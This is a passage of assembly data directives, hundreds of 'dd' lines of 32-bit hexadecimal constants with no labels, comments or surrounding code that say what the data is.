		dd 0A199AE16h, 0B8B4B1B8h, 97E4006Fh, 0F0A430CFh, 0BD006B59h
		dd 5F8F524Fh, 1C93E9F6h, 809E8C29h, 27A8C3B1h, 5A0039FAh
		dd 32F8EAB9h, 0CFAB0448h, 0D7E0F518h, 0A437217Bh, 65138CE6h
		dd 2000364Ah, 19C3E6Eh,	0C9BD1342h, 0D4FF0148h,	51D23C7Ah
		dd 8015C28Ch, 0CE610472h, 9824B0h, 4775FC52h, 96B18368h
		dd 0BE2FC409h, 0C63815Ch, 980E75Dh, 0E2130BC0h,	0DFB807EDh
		dd 0D41E6E77h, 8A0E7993h, 4C1041E0h, 0BC9435Fh,	0FA65A7D4h
		dd 138D0AC8h, 19BACC0h,	90569899h, 4F44B4Dh, 75F434DEh
		dd 0DB53C280h, 0F0124BE6h, 52601C28h, 0DF954910h, 0A1FA0122h
		dd 23021B82h, 77030D8h,	0B5C9349h, 80510FC3h, 66D44BF1h
		dd 3C3303E4h, 0BAD5ED13h, 927C2EE0h, 6AB72D1Ch,	971C2240h
		dd 0E02ABB0h, 33F2F149h, 40CCF3C7h, 6C7F5D8Fh, 7E45E000h
		dd 0BEBF266Bh, 0FCDD00A6h, 73E81FEh, 140E5719h,	874D9E69h
		dd 0FB809F02h, 0E16E0Ch, 0F27522B9h, 123092B0h,	0E2C1F500h
		dd 32B79788h, 0EBB80090h, 40CB0879h, 6600DE80h,	0FE56683Eh
		dd 0F47655h, 0BF8B4F64h, 0DE753CD3h, 53C50100h,	2EFC9C21h
		dd 3F6BE243h, 68BE9A52h, 6D401C80h, 0B4FE9B59h,	0CD4CD00h
		dd 9080FD7h, 43260050h,	7C3DBEB9h, 9C0006A8h, 93337514h
		dd 7186C5F2h, 0AC1200B6h, 493A5329h, 0E00A1F0h,	0B352E208h
		dd 2EF9E548h, 959BDEh, 4605D8BAh, 0E3001593h, 4F5E0F55h
		dd 0E467D9C6h, 91130752h, 30A48123h, 0CF0F0AFDh, 632CE300h
		dd 268B0E36h, 0E9CD0071h, 0C27F8194h, 1EE8B731h, 7900617Eh
		dd 4F3C74AFh, 26CA96h, 63A7F429h, 0AA71E714h, 9C1058h
		dd 504002A8h, 668BA6h, 0FE138F36h, 0EDBBEFDBh, 0FF002479h
		dd 77542F09h, 394EC951h, 7E00F22Dh, 0BE79B72Bh,	0BA01D884h
		dd 2F9E281Ch, 0AE204389h, 9ACB3B81h, 8F35E780h,	0A2CC80BFh
		dd 0AE002079h, 74752FD6h, 0E11E92h, 0EC375106h,	0D9329BD8h
		dd 2E4B0500h, 43831413h, 6CE30069h, 0B6B5D797h,	0BF005E84h
		dd 0CBD8C98Dh, 0CB8A4799h, 83D5F390h, 0A8FF2CD6h, 5C9593h
		dd 0F6FD83E2h, 53A60EDEh, 7E1A7700h, 0EA677FD8h, 1E6800DAh
		dd 0B198BA12h, 0B800341Ch, 0AC0DA2B6h, 74BF1h, 6D9F7C3Ah
		dd 70BB5A74h, 0B2C34507h, 2F6065ABh, 385E35EBh,	0F06C83h
		dd 634068E0h, 0FFFC3017h, 0C69DD900h, 0E1C809F0h, 1F723Ch
		dd 9C174CDBh, 0A831B529h, 0BB086F04h, 6D8075ABh, 1C0DF752h
		dd 4F67C484h, 6445A8E0h, 69EA8081h, 1B83FEEh, 400012FEh
		dd 2901D5CDh, 3133423h,	142E9641h, 47913042h, 96A06E38h
		dd 60F807AEh, 0D0635805h, 853AA49Bh, 0D496C8A1h, 0E839E668h
		dd 1C3F07F6h, 220065FAh, 0E5BCB9Eh, 726C5348h, 0D65D8580h
		dd 0E6003941h, 0E53B94A6h, 0FD7AB2h, 2FB9199Ah,	7011EBEDh
		dd 0A2773Eh, 0F70791ACh, 242FFECh, 507BB896h, 3C0EDFEh
		dd 1901DB74h, 0F39C9245h, 0D7D44809h, 4ECF1h, 97316376h
		dd 6044B535h, 0E8000D7Ah, 0B407F087h, 63EF71h, 8FE9F75h
		dd 9D6D3A25h, 416B5607h, 5A508A3Ch, 491D76h, 35A2A4C2h
		dd 24DB1EE7h, 7A6AEA00h, 8D8AF421h, 17E2058Fh, 0EC01E9B7h
		dd 0D03B0016h, 98EA429Bh, 0C641C037h, 36F42470h, 4F687E0Bh
		dd 0B159803Ch, 0CA77E8h, 0A5DBCFBDh, 97C7EFA6h,	7EAC705Eh
		dd 0E91BE00Ch, 3903D769h, 0F1A24FD0h, 497C089h,	0D34905D2h
		dd 0C0B0DC4Bh, 0B6BA3B3Ah, 0A5908E03h, 0E017855Bh, 6EE926h
		dd 38F59CAh, 0EB35C239h, 551FCD0Ch, 1D93B084h, 0DE30887Eh
		dd 1D4D12D4h, 5034C098h, 69075AA8h, 37024000h, 3B1CD817h
		dd 1DE6000Fh, 0F2430399h, 0C015FDAh, 0FC7DBBE4h, 6078E0h
		dd 12AFAF7h, 242B34BDh,	0DCD2BE14h, 0BC2C6C30h,	4F0059ACh
		dd 563CBA69h, 3E9300CBh, 9A886C1h, 0DCE47227h, 0DD00757Eh
		dd 0A9128AD9h, 1C7C59DFh, 40A389B5h, 835F1D43h,	6F000D9Ch
		dd 9141185Eh, 1FC825h, 4CB051D9h, 0B7344A70h, 0A55B6D00h
		dd 89332B40h, 0D64600B6h, 2C6536D9h, 9B01C01Bh,	1642A2D5h
		dd 56605720h, 98A00DFh,	0CB96FF01h, 0CD003F7Bh,	13FE8DC5h
		dd 18E7FDCAh, 6615CF11h, 1C00E118h, 0B28FFCCDh,	0B18767h
		dd 560AD506h, 8D5D36B4h, 4DD36500h, 0C8BAA237h,	27E8E3A4h
		dd 39B10042h, 0D2C1D49Ah, 841DA51Ch, 9DC03DA1h,	0EFC03E4Fh
		dd 425B00CDh, 38DD80A2h, 0D1D153Fh, 7F8056E9h, 0CB6417Ah
		dd 0D7740050h, 2D528967h, 0AC00D981h, 92C9E80Fh, 0A02AB68Eh
		dd 0C09FE7C0h, 30785920h, 0C900C55Ah, 80ABAB3h,	1D4E1394h
		dd 0C37DA37Fh, 6A3D8610h, 4F6B5100h, 0E69151B5h, 0A2C207C4h
		dd 56E963F9h, 440041A5h, 83B42018h, 791112h, 0E1890E5Ch
		dd 2F328751h, 703E13E2h, 2BB80EC2h, 109AA73Bh, 39E061DCh
		dd 7A7AC64Dh, 9D54044Bh, 0C0C14C0Fh, 0DF39C296h, 0A85539h
		dd 0BB30DB4Dh, 54C00Ah,	59734FEBh, 32BE8847h, 33F318C2h
		dd 86F1602Fh, 7DA40061h, 85265F8Bh, 70057DCh, 6DE99E3Eh
		dd 1FA91175h, 43D67BA2h, 9B45861Dh, 3E6353F0h, 0CD6A7400h
		dd 5A735218h, 9F670079h, 6C5047D0h, 5E07EDCAh, 0E373AF3h
		dd 6E886960h, 787723h, 0E5C6E612h, 180FAD43h, 0BDEAB800h
		dd 0C1513825h, 1EC4E636h, 0BE33A0C0h, 0CD80F0BAh, 445CAFF3h
		dd 420F3E6Dh, 0E0C0DB92h, 5E577F1Eh, 292D00E0h,	9043B5EEh
		dd 0F2B8A2AEh, 55B83C18h, 0E0DE5B09h, 18C7E80Eh, 1863BFD9h
		dd 0CF1EEBDDh, 6E00747Ch, 462F35Ch, 5AB70542h, 0C00120C7h
		dd 9ECA53BEh, 775839h, 0B3888A89h, 9F26DB75h, 5A3BA2E0h
		dd 0F8C40B00h, 0D2B2C0FAh, 666900AEh, 2B3954C3h, 0B80082FBh
		dd 0D6BE7FF0h, 0CB452Dh, 0F85158Fh, 999BEF2Fh, 6A010C00h
		dd 736693B0h, 1F687FC7h, 0E02CD97h, 0AFA00DEDh,	7FBB2EB1h
		dd 80EF213Ch, 74B5C1B4h, 0ECA9208h, 0CBD37525h,	9838E80h
		dd 95E823D7h, 6C15811Fh, 0D5C82041h, 70C8F4A6h,	8F1B1EDEh
		dd 990600D7h, 0A9FCC541h, 7928831Fh, 0E3D3BD00h, 3F1332F3h
		dd 2C80190Ah, 0F483ABF6h, 1A035A7Eh, 0FF23D573h, 0ED11902Bh
		dd 1CE43F0Bh, 67190487h, 3DDC0018h, 4DE23266h, 0CEF6B0F2h
		dd 6209F100h, 73231AE9h, 0EBCD00DAh, 0DFF91F0Bh, 0DD3A6F94h
		dd 85C23E48h, 69E63A11h, 0C091AB00h, 0BD751E2h,	0BD5C04C9h
		dd 0B90F9200h, 2503F75Ah, 73A31A1Ch, 775FB0BCh,	796C30DCh
		dd 0EB7422A0h, 5400CCF8h, 17731626h, 3559071h, 9181868Ah
		dd 0C0C0FDD3h, 0F100AA6Ah, 570430FCh, 0F758D1h,	0DEBAFFC3h
		dd 5F2EAE93h, 67EBB301h, 9C3CD74Ch, 0B06E98FFh,	0E8B902C8h
		dd 0F5876DD9h, 6B40C8CAh
		dd 0D3E69AEAh, 0B2CD6600h, 0DBF038CAh, 0FF48BAh, 57688D00h
		dd 0F5B9E5BCh, 3EDFB83Dh, 9EC482CFh, 4012DEFCh,	545AD3h
		dd 13BC46DDh, 0C594CAECh, 0BDD55E00h, 60B9BA4Ah, 0F26901C2h
		dd 5F54ED8Bh, 0C189705Bh, 0BDCDB602h, 60620193h, 1E0D326h
		dd 155BE802h, 20AF3C6Bh, 0C6023624h, 2D0D2AA8h,	0F24C7032h
		dd 1FA700DEh, 0D3B58B5Dh, 760139E4h, 62F18390h,	19709596h
		dd 0C5583AD4h, 841481D8h, 0E600C8ACh, 0A34D60F3h, 6C000ED3h
		dd 0B6AF6D15h, 342BAAh,	3E5A67D4h, 0DD7FA6B5h, 9492C107h
		dd 17134493h, 0BAC0DD55h, 721DA7Bh, 6C58D247h, 765E201Ah
		dd 7C1DE1BEh, 0A9048CB9h, 0B88085C4h, 6E816Fh, 0C7B42A0Dh
		dd 93765B29h, 0E03ED400h, 9AE9A1B0h, 0D2F00071h, 65FBB41h
		dd 0D7670FDh, 0AA001098h, 6CFB73A1h, 0D1414Eh, 7AA72ACAh
		dd 126E5D6h, 1871213Bh,	0A548CDC2h, 0A8900022h,	0D2584D40h
		dd 0A7A089EAh, 4600EE2Ch, 0B34B0BA0h, 0F35388h,	73CF6715h
		dd 79441A37h, 339B0800h, 0C904D091h, 428C00A2h,	0FD07F22Ah
		dd 91C036FBh, 69F7665h,	73C6001Fh, 241DCC16h, 513A9722h
		dd 0E57280D0h, 5523E0E9h, 253B266Ah, 0D26500F7h, 0FE49EA3Eh
		dd 3A099F00h, 0B323D8ECh, 0DB4C0035h, 69936429h, 63FC6ABCh
		dd 0FC8A3000h, 0B501B6Dh, 5A4107CCh, 4715457Eh,	0CF44B0B7h
		dd 7000C276h, 0B50DA3BDh, 1E4369ABh, 403423BFh,	8DDC37FBh
		dd 0CF7AFA76h, 50BC1800h, 52B920C3h, 0BBEEDEh, 46A844EEh
		dd 6DD597CEh, 244C691Dh, 0C3679300h, 0BD7F2Fh, 0AEF74D84h
		dd 0D93AC1B6h, 663F6909h, 0D2B40092h, 0A57FFCh,	0BFC22FE8h
		dd 0A3B5C7EAh, 0BD1FE67Eh, 5400E5A2h, 65A13E0Eh, 0EE9800C9h
		dd 0F9A02B97h, 997379EFh, 0A9D39007h, 689086FBh, 0B66CB4h
		dd 5C8AF56Dh, 642A8376h, 1ED21F00h, 0EEC3A7C8h,	80D34861h
		dd 2D6AA40h, 55906DBh, 14488D3Ch, 0FAF21A12h, 47E1E1Eh
		dd 0E7DBC600h, 3E2A5Eh,	0DABF8336h, 31802CFEh, 5A43DF01h
		dd 7496A504h, 2EF430D9h, 0D6DE009Ch, 1D19E546h,	77246D05h
		dd 0C000C4B2h, 0D31B4BEBh, 0C9920007h, 223EBF73h, 8C90567Ch
		dd 7402BE1Fh, 12E6C240h, 3D40D86Eh, 759614F4h, 87C91F54h
		dd 0D2D3D27Eh, 9861D7BAh, 7F868051h, 0CB5ED63Eh, 31A003D1h
		dd 45DBECFh, 45A5A8C0h,	6DC22200h, 93D7757Ch, 0EEFD0088h
		dd 0A9EFAAF7h, 3300D5A1h, 7891AB95h, 0E12DF74h,	2C03636Ch
		dd 6E1892A0h, 1C070C71h, 0BAD3C6Fh, 0FA1A7FC0h,	267258BCh
		dd 4B0FC0Eh, 21C84360h,	6B001C85h, 9C0CA37Eh, 7B7B6322h
		dd 0EAFA00FFh, 6897B636h, 14B09DA5h, 21DDB212h,	0E1EDB604h
		dd 0F0DA9083h, 0A71C9Ah, 0D6752B8Dh, 7DE69983h,	710E7206h
		dd 3D20ABBDh, 4480D8F8h, 0B959D0E5h, 0DC00391Ah, 2EC1EA4Bh
		dd 53CF099h, 0D6502283h, 0C7E88757h, 0C801E3C2h, 0AD9D09B8h
		dd 4E217100h, 66B6881Ah, 5AB809E9h, 6A00D034h, 6C2C57BFh
		dd 218B549h, 771B0729h,	0D6586916h, 93DE424h, 1001D227h
		dd 0DF15ACA1h, 0D6BCC844h, 98F52300h, 0E733E252h, 34B0392h
		dd 7DB5E15h, 41C5AD88h,	0A7A83D00h, 0EFAEFDFCh,	99781E83h
		dd 0B3B6029Ah, 48E052C3h, 5B16C935h, 0A7001E89h, 0C1706E7h
		dd 0BE7C4Ch, 32368B45h,	28806219h, 0E49B8701h, 976D007h
		dd 0BE95C8h, 56D64B82h,	79CA4EC9h, 0CBDA5000h, 8FBD55EBh
		dd 0F26D008Eh, 408969A7h, 8B03A8CCh, 92AB61A0h,	0E8698C4h
		dd 7C2B03F8h, 525AF34Ch, 0A1A7B180h, 3024EF00h,	151A472Eh
		dd 801B159Fh, 363B8C49h, 0F8B2A582h, 44C82795h,	7700DDCCh
		dd 0BFC7C1D7h, 0CB37CAh, 32CE3CB1h, 5575A460h, 54082213h
		dd 94F38C00h, 1F4B11h, 9196E28Ah, 24460682h, 0FCC04E00h
		dd 0ADE53F55h, 0D6EE0004h, 0CE05528Fh, 0AF00D5B9h, 326E7267h
		dd 481DCD91h, 0C0496619h, 0E4455300h, 37936F98h, 0E9F0831Eh
		dd 0C01AA20Fh, 7EAB2380h, 0B080ED97h, 0E0129A13h, 1A07A32Ch
		dd 18A21CEAh, 6A2F7641h, 2E064028h, 61266162h, 673FC90Eh
		dd 638780DCh, 0FA1D5F8h, 54FD9659h, 20E51387h, 73DB2DF7h
		dd 27D7C400h, 0FAB19119h, 0CCED005Fh, 0E466E2AFh, 0FE00DF90h
		dd 0E34B2F9Ah, 68AC7F6Dh, 505439ABh, 6842C42h, 1BA2D4B8h
		dd 99DD6062h, 88459900h, 0ECF316B0h, 615E0034h,	17690393h
		dd 0AD0335D2h, 7CC9C7A6h, 6779866h, 6DA31F70h, 0AE2280A4h
		dd 0E67B68ACh, 67BD3Ah,	5259C05Fh, 82A097h, 8CED1B62h
		dd 0A70BC7DAh, 110AF000h, 0BD36F2B0h, 0E155059Bh, 0EEFEB4BAh
		dd 0F3E9A980h, 3A7748h,	408E354Ah, 4C3F43C8h, 72F8F900h
		dd 0AE0601F5h, 641600C6h, 0D64108A3h, 8700046Dh, 0B8CDA94Fh
		dd 377B86CAh, 0F0E02F48h, 0C95E724Eh, 102ED800h, 0CF334988h
		dd 3BB400FCh, 866131D1h, 68FEB19Ch, 39431B30h, 324ABA8h
		dd 7B3923A0h, 19004460h, 6A171A53h, 0B7E730h, 6241F6D4h
		dd 95BAA472h, 283B3E24h, 0E97A4040h, 0A7DF669h,	93299BD5h
		dd 56FE8E24h, 6084840h,	2001D963h, 1F1CCB81h, 0FCE062DAh
		dd 0EEA8030Ah, 13913479h, 0E4E855D0h, 0EC414916h, 4FBE9500h
		dd 8F1719h, 4A570AFDh, 78267BC4h, 998B6200h, 0C16FB85Bh
		dd 6EFF1DB9h, 1A9D8FB1h, 2FF396E1h, 86D8D741h, 270006C7h
		dd 5F2C658Fh, 5011264h,	0F8468C5Eh, 1F9C008Bh, 0C44105E4h
		dd 13063500h, 0AFCBF701h, 779A0764h, 0A0B6FEC6h, 3C39D372h
		dd 2B38AC7Eh, 0FA5A0307h, 0C09DF6BBh, 0D7D0Fh, 0F8E287B9h
		dd 7901BD53h, 3EC81900h, 86976A69h, 95F10773h, 1F294A49h
		dd 2111A80h, 84166D89h,	0EC00030Ch, 0A978CA55h,	1357C2Fh
		dd 0D12EE212h, 5A39F63Fh, 1CF88A04h, 605D0423h,	6C01B946h
		dd 0FDE74400h, 0EE09B1ADh, 5D90009Dh, 41DE3F63h, 0A41FC07Fh
		dd 53C777AFh, 0BFB05C18h, 45DD3Bh, 0CCDCA2F6h, 0BD01B837h
		dd 2539EC00h, 540747E2h, 0C70E1803h, 562670DFh,	0C4879E00h
		dd 0B397CEC5h, 0ECB60024h, 0AE844530h, 0CA0018B7h, 3FC5C7A2h
		dd 29C83C6Ah, 0C22011FCh, 0DD303462h, 0D9BD60F7h, 0DC4D7C54h
		dd 92A1FB2Ch, 0D61FDB00h, 74E69E5Ch, 30E978F2h,	0D470CFE5h
		dd 5E078C52h, 0C7F560D3h, 19876E30h, 0FDA11339h, 98C01188h
		dd 30E8C030h, 0C578E18Ch, 4DCBB21Eh, 2D18A428h,	0AC29AD2Ch
		dd 3C400CEh, 551EC2ABh,	2D00C7BCh, 2294248Eh, 6FA49013h
		dd 8DA01045h, 0C74CF4B1h, 7F2A021Ch, 18D91A0Ah,	5C00DC97h
		dd 45FFC33Ch, 0F61CA011h, 0C636740Dh, 589C8428h, 0C4825500h
		dd 373921EFh, 124F8D0h,	44E72D10h, 8023E429h, 0C47B7431h
		dd 1E1A4836h, 85268558h, 0C3301C67h, 60098F8Ch,	8F8D6B2Dh
		dd 108AC0F5h, 3EDE3DC4h, 24003736h, 0EC670D6Ch,	0CE140BD4h
		dd 14C8F2Dh, 1DD15305h,	4DF9F476h, 88A73C0h, 4CA7C444h
		dd 2E4A6B1Fh, 8008643Ah, 852C8558h, 0F6D0C7C4h,	6EF82137h
		dd 0DB7E8400h, 0DFA1335Ah, 70B87F81h, 8F78182Ah, 0B96E29D1h
		dd 80CBEA00h, 89FD2251h, 96B100FFh, 0CE2E5F49h,	0A4000B7Eh
		dd 8B66A581h, 1C6E7717h, 1C1C2239h, 4814CE1Fh, 8A00EE4Eh
		dd 7B772A26h, 0FEBED200h, 0FBB1DD31h, 0E6A8005Ch, 0B7F4F732h
		dd 0EC174E62h, 1FE8094h, 74A27675h, 802FE1A3h, 60421230h
		dd 609F1F68h, 95BF10D4h, 0FB019B81h, 0B515D17Eh, 30412618h
		dd 2980284Bh, 3CBE5892h, 171BD399h, 1E96A5ABh, 16BAF60h
		dd 2814DAD1h, 724D4EBh
		dd 17403260h, 7C5C853Dh, 0BA220151h, 838863CDh,	0FF08CC42h
		dd 0D39B400h, 0F1536CEh, 683C1EA3h, 0AB26C101h,	0DC90E07Ah
		dd 38003764h, 59E581DCh, 6FA3023Eh, 4FC02910h, 39F711D0h
		dd 9ED33800h, 16BDDC19h, 0AA2211F5h, 4241003Dh,	8FE32DC8h
		dd 284D3D86h, 3ECDD800h, 9A9821Fh, 1802351Eh, 2BE67D00h
		dd 30D15938h, 0DC41134Ch, 17E80861h, 0F000BC76h, 47D14FF7h
		dd 7EAB683Fh, 0A5C58025h, 17306960h, 46FF90h, 5738BDBCh
		dd 0C989373Dh, 7850166Fh, 3842FAA0h, 618034AEh,	44F7DC17h
		dd 99904709h, 0C091F300h, 0A9FF25F6h, 0C8F91B3Bh, 0DDB021CEh
		dd 0F07848FAh, 39C011F4h, 0C25286C8h, 85980394h, 23E0DA0Dh
		dd 3A70F9F8h, 0F113FB00h, 0C06E361Fh, 470C30D7h, 83C54F40h
		dd 440BA01h, 6AA82329h,	2A68FF0h, 0EF5EFC18h, 3C83F9C0h
		dd 390023D8h, 0DE796729h, 0C4FFABE6h, 21FEC328h, 3E130AD9h
		dd 124287C0h, 370C53Ah,	55F1157Dh, 9C10197h, 5686646Ch
		dd 8708149h, 0BE66A16h,	0A0554086h, 71F8E13Fh, 18085931h
		dd 90C22B24h, 50C1F96Ch, 0F1DB40C3h, 883C9048h,	0ED00E92Ah
		dd 12017720h, 7F4DC7h, 6BC0405Ch, 176C0B63h, 39FB3C30h
		dd 98EAD7h, 1B0F71C3h, 4F5EE785h, 19031800h, 0DF49884Ch
		dd 0E71C3EDh, 0D2DB2BAFh, 0DABD16A0h, 75487D03h, 908B8208h
		dd 0C2DBAEDh, 0FAB69A41h, 86004FB0h, 0FD0158C4h, 0A5DCF83Ah
		dd 30E581E8h, 0F068E055h, 0D43B34A7h, 0A8F92AC0h, 0E8C48300h
		dd 0F839EB69h, 0CE5CA0DFh, 841C03Ah, 0B1047362h, 0AADEB30Ah
		dd 8A3EB01Eh, 0A4529E33h, 0B2E9C83h, 0B963E845h, 4199005Ch
		dd 0B6FD810Dh, 5D527318h, 8F5002B8h, 902B2311h,	8C874064h
		dd 4706DE10h, 6D602900h, 766A4638h, 9FFC9338h, 410358A3h
		dd 6F5487h, 7E6B09B1h, 0C7930ADEh, 1EC15E18h, 2069C1h
		dd 28D394EDh, 0B6CC5FEh, 33CFBF00h, 6A398814h, 0DAE309Eh
		dd 5A2E34A1h, 10853100h, 0BAD74C0Ch, 1FEA778Ch,	0F233D39h
		dd 0CCE0C6D1h, 0F9BCEE6Eh, 7F37E400h, 969A4731h, 33D0CAFDh
		dd 0C01E47C4h, 5E4E4B0Bh, 0CE31C500h, 7B20F487h, 2CEC1D59h
		dd 0D013CAE3h, 8417C4E4h, 52E440D4h, 7E874A55h,	0EC71F400h
		dd 4FFB8868h, 2B900FDEh, 17203B13h, 0C6D40923h,	9C03D129h
		dd 43B5DE07h, 0C9A600CFh, 0F4D6B7E9h, 0F8774Ch,	270E9D41h
		dd 661779E6h, 37654603h, 2A15405h, 75640941h, 0A8A216DEh
		dd 9446FE30h, 0C622AA74h, 0E79F31C4h, 0F81CF008h, 1200F7C9h
		dd 80CC4E1Eh, 9264390h,	48D8DAD0h, 3309FD80h, 0DCA4A054h
		dd 0F507058h, 86507A38h, 241943AEh, 0A1141667h,	8D5585ACh
		dd 0DCEC464Ah, 9DEE81FFh, 0B780D300h, 0E4EC1626h, 4364009Bh
		dd 0F727F183h, 30932D95h, 4F02DA88h, 60C18943h,	36EBDF90h
		dd 9CA8BAE6h, 110013C3h, 0E108FF1h, 14AF9E4h, 0A656306Ah
		dd 0E854BDE6h, 4C00CAC6h, 0C1CF860Ch, 53E216h, 83664663h
		dd 0C614DDC7h, 0B17A9207h, 2230CCDEh, 0B819DF2Fh, 3AFC008Ah
		dd 1F1CA1E5h, 16F0A40Eh, 0C3C88218h, 79BCF08h, 0D814B2DEh
		dd 60CC06A7h, 4E0052F8h, 9C285374h, 1A16FA4h, 0C41B19D2h
		dd 0CC82D370h, 4906F27Dh, 84A87C9Eh, 16880098h,	1F5C5EB7h
		dd 800173C9h, 76C6A66Fh, 79809BAEh, 0DC2B2969h,	3D0095DFh
		dd 0B94D6684h, 1B452EFh, 56F2834Eh, 80A89B18h, 47C7FD31h
		dd 6DA4232h, 4599046Eh,	0C107B815h, 4024B67Eh, 0E069C516h
		dd 56960E60h, 2785358Ch, 229843FEh, 39008FC7h, 538B7A7h
		dd 0EAA975h, 6544B8A3h,	8DD932C9h, 20E8020Fh, 0F1F0461h
		dd 23493FC1h, 680D718Ch, 0DE09DA51h, 80F33913h,	4AA327D5h
		dd 3D76002Bh, 3053426Fh, 0D97C654Fh, 28443500h,	0A78DA01Ch
		dd 9250306Bh, 3797E189h, 0A55464E4h, 3A0099A0h,	2C4D79C3h
		dd 348004h, 0F49BE207h,	7CB50587h, 4061B61Eh, 9FF06C18h
		dd 0B9703BA3h, 0ECD2043Ah, 2B00C422h, 7265EF7Dh, 1FE9209h
		dd 88E88E1Fh, 48941A19h, 33755CC8h, 643A0300h, 4A3F764Dh
		dd 591D00E2h, 97A5420Bh, 9D22B921h, 65CF00A7h, 1EF0B014h
		dd 51128478h, 1000A54Ch, 8313A0B8h, 7ABB05FAh, 2222449Ah
		dd 0A620919Ch, 29FA73h,	0E6C65C5Ah, 0C4402D84h,	0DD0E563h
		dd 0BA29608Fh, 0B2B33953h, 67121F1Ch, 24A78A3Bh, 293DB048h
		dd 0E48F8468h, 0C49E8091h, 0E6962EA2h, 0A749CE7Fh, 12443092h
		dd 28074BE8h, 67A178DBh, 80BBBCAAh, 6229698h, 17C6A36h
		dd 6C9290E8h, 893444DEh, 10CDA0A8h, 0B15C20h, 0EE437E8Bh
		dd 2B5735DDh, 4E746600h, 6E1F80ABh, 0B7103F2Ch,	48938450h
		dd 0A524A286h, 9AAA0300h, 7918B87Ch, 6DA9730Dh,	150C0039h
		dd 2271E86Fh, 0B9007FE1h, 0D9BB2818h, 0D71CAFh,	9839B0EBh
		dd 2A9759C1h, 4C522892h, 75187FCCh, 0D111A29Dh,	46ED00F8h
		dd 472B0C05h, 2D52966Eh, 27690CC4h, 1C39FDh, 380513A1h
		dd 0B06F7AB7h, 8C3BA612h, 90C48046h, 79440EF9h,	69401642h
		dd 9224C29Eh, 0F50B3B03h, 9860E245h, 904382C4h,	0D0E03F78h
		dd 279DA792h, 490C9034h, 5F39E2DAh, 0CF1F81D8h,	0C0042481h
		dd 13CB4ED4h, 3051ECADh, 1B1D0138h, 0F18D1409h,	4AC01FCh
		dd 5C322772h, 1C1A4705h, 0B880496h, 4427489Fh, 46489CB9h
		dd 0E8191444h, 1F1D0960h, 78A0CDFBh, 78A3DAE5h,	50E1D892h
		dd 0E77099D8h, 0C18F9602h, 6408A6BBh, 489A264Ch, 0D8754444h
		dd 74F00194h, 3C6523Eh,	0A673EC1Dh, 637CE8FEh, 1C1413A4h
		dd 83100020h, 0C670B85Dh, 198C60A8h, 0B613689Bh, 3375FC00h
		dd 77BC4Fh, 0CA75730h, 2D1FE102h, 62F1039h, 6A6F93BBh
		dd 0EC245378h, 5074E73Fh, 0F91780C0h, 0FF001037h, 9F25C17Bh
		dd 5D06DA14h, 0A7B3503Ah, 9A840688h, 0E06A1F40h, 99FFF4h
		dd 987F6F07h, 1CA56BE1h, 18C44CC6h, 29A1AEE2h, 0B301A257h
		dd 0EE42A9Bh, 18E4BDFFh, 7A4F0223h, 0FA3660E1h,	9E5F18C0h
		dd 0A70A8647h, 92CCD0FEh, 48D90693h, 9098DDh, 52AB7200h
		dd 1CEE4241h, 0EC4A5299h, 64301E20h, 7C5C1120h,	907CEBh
		dd 2A6ED2D4h, 2D528F09h, 0C8448CB0h, 0EF94A1B8h, 3A7ABAF4h
		dd 0D04967E3h, 5FA29100h, 19E20ED3h, 5966AD00h,	30822551h
		dd 0D4900B4h, 61E4FE85h, 581F3C98h, 7F00F775h, 0EA222902h
		dd 0C8B6088Ch, 420E1585h, 1FBFC0AFh, 5B6B47h, 5ACCD7DAh
		dd 0E47395FAh, 9740570Bh, 8A9C30CAh, 0BE42319Fh, 246D0D91h
		dd 31031CE0h, 40F77130h, 0A9B2B8DEh, 4B73018Ah,	8EB9FD44h
		dd 23A1ED21h, 54C83E80h, 0E0000AFCh, 0BF66154Eh, 7FD7B9B2h
		dd 4430BAFCh, 2EFEB07Bh, 80038972h, 0C6256BA6h,	924100CBh
		dd 0B7639788h, 2A008A51h, 0EA8FE8E9h, 0EA168704h, 24EC004Bh
		dd 1F48614Eh, 0A41A4027h, 0C0D0F5F8h, 91FCAECAh, 2874411Ch
		dd 64945197h, 35F183A4h, 0F01AB9FFh, 73E2F53Ah,	178500F9h
		dd 0CA3749Fh, 9041B0Eh,	974D9442h, 12404D8h, 23057199h
		dd 72751CE5h, 0A5AE8414h, 0B8F95490h, 1CBA0E72h, 0F640F2BFh
		dd 0DB5F6557h, 7D0C9B7Bh, 91AE6431h, 0EC484E63h, 0AC201385h
		dd 0A1C69022h, 77D7F18Ch, 9ADEBD8h, 39904CFDh, 25C93007h
		dd 9BAC4974h, 0D81B9010h, 0D1A02404h, 58901F67h, 0E8366181h
		dd 0BBEC0084h, 0FFD33142h, 18571360h, 488D0098h, 86D4D595h
		dd 1AAC4467h, 749E4F00h, 70F8F675h, 0C0A6EEBCh,	5BBB8171h
		dd 5D134F53h, 3AC7E55h
		dd 13AF0074h, 46A60EC2h, 40246016h, 9A0A848Ch, 76002C49h
		dd 4C5E159Eh, 31370BCAh, 0A41BF274h, 747FE022h,	0EA58989Eh
		dd 143205BDh, 101C139Bh, 0C4497C95h, 30F41E85h,	8F951C94h
		dd 0C8B3D402h, 0C68770DFh, 0BA589Ch, 54311A00h,	47B6BF51h
		dd 0A205917Ch, 0E428965Eh, 209CB022h, 3ED1268Dh, 0C0A20600h
		dd 93899F52h, 0A150663h, 76921788h, 92B8D649h, 3C3C7212h
		dd 5999609Dh, 0F6A2A0Dh, 0B425E100h, 6F2973DCh,	0B9060AD0h
		dd 43B894E5h, 39A0BF60h, 0F8ED1A01h, 0ED00DD70h, 61AE1F22h
		dd 0B8976992h, 0E0F34C14h, 6B58B582h, 0C8D37C98h, 7130C749h
		dd 5B5C12F0h, 78DC0D8h,	5C94589Eh, 0E5078C22h, 0E5B64F31h
		dd 152C9ECEh, 988E0Dh, 852422B3h, 0F83B7C8h, 0BD5FFB87h
		dd 0B46F3380h, 0C5033A94h, 70D52B6Dh, 89B076B5h, 46C76BCh
		dd 0AE646FD3h, 0C3FA3040h, 0F0005B80h, 0ACC4D4E9h, 383CFBF3h
		dd 0DD3F736Eh, 857EA980h, 5416D8DAh, 137A07ECh,	0F373600Ch
		dd 0BD21DFh, 0DB694B9Fh, 45D499AEh, 391AAF00h, 0C971B9EFh
		dd 17FD0CCCh, 431D912h,	924CD500h, 0FB65509Dh, 69983B85h
		dd 934D9500h, 308A7CCFh, 0C8636F00h, 3ECA1E4Bh,	847D01A2h
		dd 485D043h, 6402D031h,	0EF588700h, 0FC57A092h,	6FA30651h
		dd 28390FEAh, 462B4500h, 29564095h, 7F28FAA4h, 0B463001Eh
		dd 0DA27AA4Ch, 1A337DA1h, 0B34E5953h, 1840A684h, 183A95EAh
